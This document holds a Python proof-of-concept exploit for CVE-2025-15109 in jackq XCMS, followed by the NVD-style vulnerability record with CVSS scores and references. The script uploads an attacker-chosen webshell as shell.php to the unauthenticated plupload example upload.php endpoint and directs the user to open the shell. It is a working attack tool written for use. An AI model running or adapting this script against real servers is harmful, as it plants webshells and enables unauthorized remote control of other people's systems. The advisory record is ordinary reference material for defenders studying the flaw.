CVE-2025-15109

import requests import sys # CVE-2025-15109 PoC - jackq XCMS Unrestricted File Upload # Target: jackq XCMS with plupload <= 2.1.2 def upload_webshell(target_url, webshell_path): """ Upload malicious webshell to vulnerable XCMS server """ upload_url = f"{target_url}/Public/javascripts/admin/plupload-2.1.2/examples/upload.php" # Read webshell content with open(webshell_path, 'rb') as f: webshell_content = f.read() # Prepare multipart form data files = { 'file': ('shell.php', webshell_content, 'application/x-php') } try: print(f"[*] Attempting to upload webshell to: {upload_url}") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] File upload successful!") print(f"[+] Response: {response.text}") # Extract uploaded file path if available if 'path' in response.text or 'url' in response.text: print("[+] Access the webshell at the returned path") else: print(f"[-] Upload failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <webshell_path>") print(f"Example: python {sys.argv[0]} http://target.com /tmp/shell.php") sys.exit(1) target = sys.argv[1] shell = sys.argv[2] upload_webshell(target, shell)

{"cve": {"id": "CVE-2025-15109", "sourceIdentifier": "[email protected]", "published": "2025-12-27T19:15:41.047", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in jackq XCMS up to 3fab5342cc509945a7ce1b8ec39d19f701b89261. This impacts an unknown function of the file Public/javascripts/admin/plupload-2.1.2/examples/upload.php. This manipulation causes unrestricted upload. It is possible to initiate the attack remotely. The exploit has been published and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://gitee.com/jackq/XCMS/", "source": "[email protected]"}, {"url": "https://gitee.com/jackq/XCMS/issues/IDC4ZT", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.338480", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.338480", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.711696", "source": "[email protected]"}]}}